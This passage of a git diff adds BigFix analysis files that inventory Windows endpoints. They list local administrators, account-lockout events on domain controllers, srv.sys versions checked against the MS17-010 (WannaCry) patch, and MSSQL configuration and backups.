+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Local Client Administrators</Title>
+    <Description>Local Administrators </Description>
+    <Relevance>name OF operating system AS lowercase starts with &quot;win&quot; AS lowercase</Relevance>
+    <Relevance>NOT(name OF operating system AS lowercase starts with &quot;win200&quot; AS lowercase)</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 09 Mar 2012 16:24:02 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Local Client Administrators">members of local group &quot;Administrators&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Lockout Events from DC (2998671).bes b/Sites/Windows Management/Fixlets/Analyses/Lockout Events from DC (2998671).bes
new file mode 100644
index 000000000..9ef52b53f
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Lockout Events from DC (2998671).bes	
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Lockout Events from DC
+  ID       : 2998671
+  Author   : sonofmalkav
+  Domain   : BESC
+  Imported : 2022-03-23T11:25:52
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Lockout Events from DC</Title>
+    <Description><![CDATA[<P>This analysis search the domain controllers security event log for the 4740 (lockout user) event&nbsp;ID.&nbsp;It search&nbsp;in the las 24 hour.&nbsp;</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>product type of operating system = nt domain controller product type</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 23 Mar 2022 17:31:52 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Lockout Users" EvaluationPeriod="PT1H">computer name, ((month of it as two digits &amp; &quot;/&quot; &amp; day_of_month of it as two digits &amp; &quot;/&quot; &amp; year of it as string) of dates (local time zone) of times generated of it, (time of times (local time zone) of times generated of it), concatenation of substrings separated by &quot;%0d%0a&quot; of (preceding text of first &quot;%0d%0a&quot; of following text of last &quot;Account Name:%09%09&quot; of it) of (descriptions of it)) of records whose (event id of it = 4740 and now - time generated of it &lt; 1*day) of (security event log)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Logged in users with local admin rights (2998581).bes b/Sites/Windows Management/Fixlets/Analyses/Logged in users with local admin rights (2998581).bes
new file mode 100644
index 000000000..ee7422592
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Logged in users with local admin rights (2998581).bes	
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Logged in users with local admin rights
+  ID       : 2998581
+  Author   : ReynardMuldrake
+  Domain   : BESC
+  Imported : 2018-01-25T12:07:57
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Logged in users with local admin rights</Title>
+    <Description>This analysis will show any logged in user with local admin rights on their workstation. </Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(select (&quot;ProductType from Win32_OperatingSystem&quot;) of WMI) as string contains &quot;1&quot;</Relevance>
+    <Relevance>exists (members whose ((it as a string) contains (name of logged on user)) of local group &quot;administrators&quot;)</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 25 Jan 2018 19:43:39 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Logged in users with local admin rights">(members whose ((it as a string) contains (name of logged on user)) of local group &quot;administrators&quot;) </Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/MS17-010 verify (WannaCry &co.) (2998568).bes b/Sites/Windows Management/Fixlets/Analyses/MS17-010 verify (WannaCry &co.) (2998568).bes
new file mode 100644
index 000000000..91ce29b6e
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/MS17-010 verify (WannaCry &co.) (2998568).bes	
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : MS17-010 verify (WannaCry &co.)
+  ID       : 2998568
+  Author   : wwan
+  Domain   : BESC
+  Imported : 2017-06-06T07:05:39
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>MS17-010 verify (WannaCry &amp;co.)</Title>
+    <Description><![CDATA[<P>verify for MS17-010 vulnerability (WannaCry &amp; co.)</P>
+<P>version query based on <A href="https://support.microsoft.com/de-at/help/4023262/how-to-verify-that-ms17-010-is-installed">https://support.microsoft.com/de-at/help/4023262/how-to-verify-that-ms17-010-is-installed</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 06 Jun 2017 14:03:11 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="SMB1_UpToDate">( ( ((name of it = &quot;Win10&quot; OR Name of it = &quot;Win2016&quot; AND build number of it as string = &quot;14393&quot;) of operating system) AND it &gt;= &quot;10.0.14393.953&quot; ) OR ( ((name of it = &quot;Win10&quot; AND build number of it as string = &quot;10586&quot;) of operating system) AND it &gt;= &quot;10.0.10586.839&quot;) OR ( ((name of it = &quot;Win10&quot; AND build number of it as string = &quot;10240&quot;) of operating system) AND it &gt;= &quot;10.0.10240.17319&quot;) OR ( ((name of it = &quot;WinVista&quot; OR name of it = &quot;Win2008&quot; ) of operating system) AND (it &gt;= &quot;6.0.6002.19743&quot; OR it &gt;= &quot;6.0.6002.24067&quot;) ) OR ( ((name of it = &quot;Win7&quot; OR name of it = &quot;Win2008R2&quot;) of operating system) AND it &gt;= &quot;6.1.7601.23689&quot;) OR ( ((name of it = &quot;Win8&quot; OR name of it = &quot;Win2012&quot; ) of operating system) AND (it &gt;= &quot;6.2.9200.22099&quot;)) OR ( ((name of it = &quot;Win8.1&quot; OR name of it = &quot;Win2012R2&quot; ) of operating system) AND (it &gt;= &quot;6.3.9600.18604&quot;)) OR ( ((name of it = &quot;Win2003&quot;) of operating system) AND (it &gt;= &quot;5.2.3790.6021&quot;)) OR ( ((name of it = &quot;WinXP&quot;) of operating system) AND (it &gt;= &quot;5.1.2600.7208&quot;)) ) of versions of files &quot;srv.sys&quot; of folders &quot;drivers&quot; of native system folders</Property>
+    <Property ID="2" Name="OS">operating system</Property>
+    <Property ID="3" Name="SMB1_Ver">version of file &quot;srv.sys&quot; of folder &quot;drivers&quot; of native system folder</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 7 _ Windows Server 2008 R2 (2998556).bes b/Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 7 _ Windows Server 2008 R2 (2998556).bes
new file mode 100644
index 000000000..8676b0a5d
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 7 _ Windows Server 2008 R2 (2998556).bes	
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : MS17-010: Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 7 / Windows Server 2008 R2
+  ID       : 2998556
+  Author   : baiyf
+  Domain   : BESC
+  Imported : 2017-05-17T00:29:41
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>MS17-010: Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 7 / Windows Server 2008 R2</Title>
+    <Description><![CDATA[<TABLE>
+<TBODY>
+<TR>
+<TD>
+<P>Use this Analysis to detect the file version of your Srv.sys, and&nbsp;determine whether it is up-to-date to protect against WannaCry vulnerability.</P></TD></TR></TBODY></TABLE>
+<P>THIS CONTENT IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.</P>]]></Description>
+    <Relevance>(name of it = &quot;Win7&quot; or name of it = &quot;Win2008R2&quot;) of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 17 May 2017 07:24:11 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Srv.sys File Version">unique values of versions of files &quot;srv.sys&quot; of folders &quot;drivers&quot; of (system folder; native system folder)</Property>
+    <Property ID="2" Name="MS17-010 Expected Version" EvaluationPeriod="P30D">&quot;6.1.7601.23689&quot;</Property>
+    <Property ID="3" Name="Vulnerable to WannaCry">if (exists files &quot;srv.sys&quot; whose (version of it &lt; &quot;6.1.7601.23689&quot;) of folders &quot;drivers&quot; of (system folder; native system folder)) then (&quot;Yes&quot;) else (&quot;No&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 8 _ Windows Server 2012 (2998557).bes b/Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 8 _ Windows Server 2012 (2998557).bes
new file mode 100644
index 000000000..8c8afcfd3
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 8 _ Windows Server 2012 (2998557).bes	
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : MS17-010: Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 8 / Windows Server 2012
+  ID       : 2998557
+  Author   : baiyf
+  Domain   : BESC
+  Imported : 2017-05-17T00:29:44
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>MS17-010: Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 8 / Windows Server 2012</Title>
+    <Description><![CDATA[<TABLE>
+<TBODY>
+<TR>
+<TD>
+<P>Use this Analysis to detect the file version of your Srv.sys, and&nbsp;determine whether it is up-to-date to protect against WannaCry vulnerability.</P></TD></TR></TBODY></TABLE>
+<P>THIS CONTENT IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.</P>]]></Description>
+    <Relevance>((name of it = &quot;Win8&quot; OR name of it = &quot;Win2012&quot;) AND value &quot;CurrentVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry as string is &quot;6.2&quot;) of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 17 May 2017 07:24:29 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Srv.sys File Version">unique values of versions of files &quot;srv.sys&quot; of folders &quot;drivers&quot; of (system folder; native system folder)</Property>
+    <Property ID="2" Name="MS17-010 Expected Version" EvaluationPeriod="P30D">&quot;6.2.9200.22099&quot;</Property>
+    <Property ID="3" Name="Vulnerable to WannaCry">if (exists files &quot;srv.sys&quot; whose (version of it &lt; &quot;6.2.9200.22099&quot;) of folders &quot;drivers&quot; of (system folder; native system folder)) then (&quot;Yes&quot;) else (&quot;No&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 8.1 _ Windows Server 2012 R2 (2998558).bes b/Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 8.1 _ Windows Server 2012 R2 (2998558).bes
new file mode 100644
index 000000000..305d5a664
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 8.1 _ Windows Server 2012 R2 (2998558).bes	
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : MS17-010: Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 8.1 / Windows Server 2012 R2
+  ID       : 2998558
+  Author   : baiyf
+  Domain   : BESC
+  Imported : 2017-05-17T00:29:47
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>MS17-010: Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 8.1 / Windows Server 2012 R2</Title>
+    <Description><![CDATA[<TABLE>
+<TBODY>
+<TR>
+<TD>
+<P>Use this Analysis to detect the file version of your Srv.sys, and&nbsp;determine whether it is up-to-date to protect against WannaCry vulnerability.</P></TD></TR></TBODY></TABLE>
+<P>THIS CONTENT IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.</P>]]></Description>
+    <Relevance>(name of it = &quot;Win8.1&quot; OR name of it = &quot;Win2012R2&quot; OR (name of it = &quot;Win8&quot; OR name of it = &quot;Win2012&quot;) AND value &quot;CurrentVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry as string is &quot;6.3&quot;) of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 17 May 2017 07:24:48 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Srv.sys File Version">unique values of versions of files &quot;srv.sys&quot; of folders &quot;drivers&quot; of (system folder; native system folder)</Property>
+    <Property ID="2" Name="MS17-010 Expected Version" EvaluationPeriod="P30D">&quot;6.3.9600.18604&quot;</Property>
+    <Property ID="3" Name="Vulnerable to WannaCry">if (exists files &quot;srv.sys&quot; whose (version of it &lt; &quot;6.3.9600.18604&quot;) of folders &quot;drivers&quot; of (system folder; native system folder)) then (&quot;Yes&quot;) else (&quot;No&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows Vista _ Windows Server 2008 (2998560).bes b/Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows Vista _ Windows Server 2008 (2998560).bes
new file mode 100644
index 000000000..99d9c809e
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows Vista _ Windows Server 2008 (2998560).bes	
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : MS17-010: Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows Vista / Windows Server 2008
+  ID       : 2998560
+  Author   : baiyf
+  Domain   : BESC
+  Imported : 2017-05-19T12:49:45
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>MS17-010: Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows Vista / Windows Server 2008</Title>
+    <Description><![CDATA[<TABLE>
+<TBODY>
+<TR>
+<TD>
+<P>Use this Analysis to detect the file version of your Srv.sys, and&nbsp;determine whether it is up-to-date to protect against WannaCry vulnerability.</P></TD></TR></TBODY></TABLE>
+<P>THIS CONTENT IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.</P>]]></Description>
+    <Relevance>(name of it = &quot;WinVista&quot; OR name of it = &quot;Win2008&quot;) of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 19 May 2017 19:49:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Srv.sys File Version">unique values of versions of files &quot;srv.sys&quot; of folders &quot;drivers&quot; of (system folder; native system folder)</Property>
+    <Property ID="2" Name="MS17-010 Expected Version" EvaluationPeriod="P30D">if (exists files &quot;srv.sys&quot; whose ((it = &quot;6.0.6002&quot; AND it &gt; &quot;6.0.6002.23000&quot;) of version of it) of folders &quot;drivers&quot; of (system folder; native system folder)) then (&quot;6.0.6002.24067&quot;) else (&quot;6.0.6002.19743&quot;)</Property>
+    <Property ID="3" Name="Vulnerable to WannaCry">if (exists files &quot;srv.sys&quot; whose ((it = &quot;6.0.6002&quot; AND it &lt; &quot;6.0.6002.19743&quot; OR it &gt; &quot;6.0.6002.23000&quot; AND it &lt; &quot;6.0.6002.24067&quot;) of version of it) of folders &quot;drivers&quot; of (system folder; native system folder)) then (&quot;Yes&quot;) else (&quot;No&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/MSSQL (2994632).bes b/Sites/Windows Management/Fixlets/Analyses/MSSQL (2994632).bes
new file mode 100644
index 000000000..e483dbc00
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/MSSQL (2994632).bes	
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : MSSQL
+  ID       : 2994632
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-01-30T08:30:15
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>MSSQL</Title>
+    <Description><![CDATA[<P>Some info about MS SQL</P>
+<P>&nbsp;</P>
+<P>The latest version of&nbsp;this analysis&nbsp;can be found here:&nbsp; <A href="http://bigfix.me/analysis/details/2994623">http://bigfix.me/analysis/details/2994623</A></P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows 2003 or later */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>/* MSSQL */ (exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) OR (exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer&quot; of native registry) OR ((exists local mssql databases) AND (exists runnings whose(it = TRUE) of local mssql databases))</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 28 Jan 2014 22:40:58 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="SQLPath" EvaluationPeriod="P2D">value &quot;SQLPath&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Setup&quot; of native registry</Property>
+    <Property ID="2" Name="CurrentVersion" EvaluationPeriod="P2D">value &quot;CurrentVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\CurrentVersion&quot; of native registry</Property>
+    <Property ID="3" Name="Instance Names" EvaluationPeriod="P2D">values &quot;MSSQLSERVER&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry</Property>
+    <Property ID="4" Name="DefaultData Location" EvaluationPeriod="P2D">values &quot;DefaultData&quot; of keys &quot;MSSQLServer&quot; of keys ((it as string) of value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry</Property>
+    <Property ID="5" Name="DefaultLog Location" EvaluationPeriod="P2D">values &quot;DefaultLog&quot; of keys &quot;MSSQLServer&quot; of keys ((it as string) of value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry</Property>
+    <Property ID="6" Name="SQLDataRoot" EvaluationPeriod="P2D">values &quot;SQLDataRoot&quot; of keys &quot;Setup&quot; of keys ((it as string) of value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry</Property>
+    <Property ID="7" Name="Patch Level" EvaluationPeriod="P1D">values &quot;PatchLevel&quot; of keys &quot;Setup&quot; of keys ((it as string) of value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry</Property>
+    <Property ID="8" Name="Edition" EvaluationPeriod="P7D">unique values of (((it as string) of values &quot;Edition&quot; of keys &quot;Setup&quot; of keys ((it as string) of value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry);((it as string) of values &quot;EditionType&quot; of keys &quot;Setup&quot; of keys ((it as string) of value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry))</Property>
+    <Property ID="9" Name="DBs" EvaluationPeriod="P1D">names of files whose(name of it as lowercase ends with &quot;.mdf&quot;) of ((folders &quot;DATA&quot; of folders ((it as string) of values &quot;SQLDataRoot&quot; of keys &quot;Setup&quot; of keys ((it as string) of value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry)) ; folders ((it as string) of values &quot;DefaultData&quot; of keys &quot;MSSQLServer&quot; of keys ((it as string) of value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry))</Property>
+    <Property ID="10" Name="DB_Transaction_Logs" EvaluationPeriod="P1D">names of files whose(name of it as lowercase ends with &quot;.ldf&quot;) of ((folders &quot;DATA&quot; of folders ((it as string) of values &quot;SQLDataRoot&quot; of keys &quot;Setup&quot; of keys ((it as string) of value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry)) ; folders ((it as string) of values &quot;DefaultLog&quot; of keys &quot;MSSQLServer&quot; of keys ((it as string) of value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry))</Property>
+    <Property ID="11" Name="BackupDirectory" EvaluationPeriod="P1D">values &quot;BackupDirectory&quot; of keys &quot;MSSQLServer&quot; of keys ((it as string) of values &quot;MSSQLSERVER&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry</Property>
+    <Property ID="12" Name="Backups" EvaluationPeriod="P1D">names of files of folders ((it as string) of values &quot;BackupDirectory&quot; of keys &quot;MSSQLServer&quot; of keys ((it as string) of values &quot;MSSQLSERVER&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry)</Property>
+    <Property ID="13" Name="instance names" EvaluationPeriod="PT12H">instance names of local mssql databases</Property>
+    <Property ID="14" Name="Running?" EvaluationPeriod="PT12H">runnings of local mssql databases</Property>
+    <Property ID="15" Name="InstanceRegKey?" EvaluationPeriod="PT12H">(exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry)</Property>
+    <Property ID="16" Name="MSSQLServer RegKey?" EvaluationPeriod="PT12H">(exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer&quot; of native registry)</Property>
+    <Property ID="17" Name="Running? Rel" EvaluationPeriod="PT12H">exists runnings whose(it = TRUE) of local mssql databases</Property>
+  </Analysis>
+</BES>
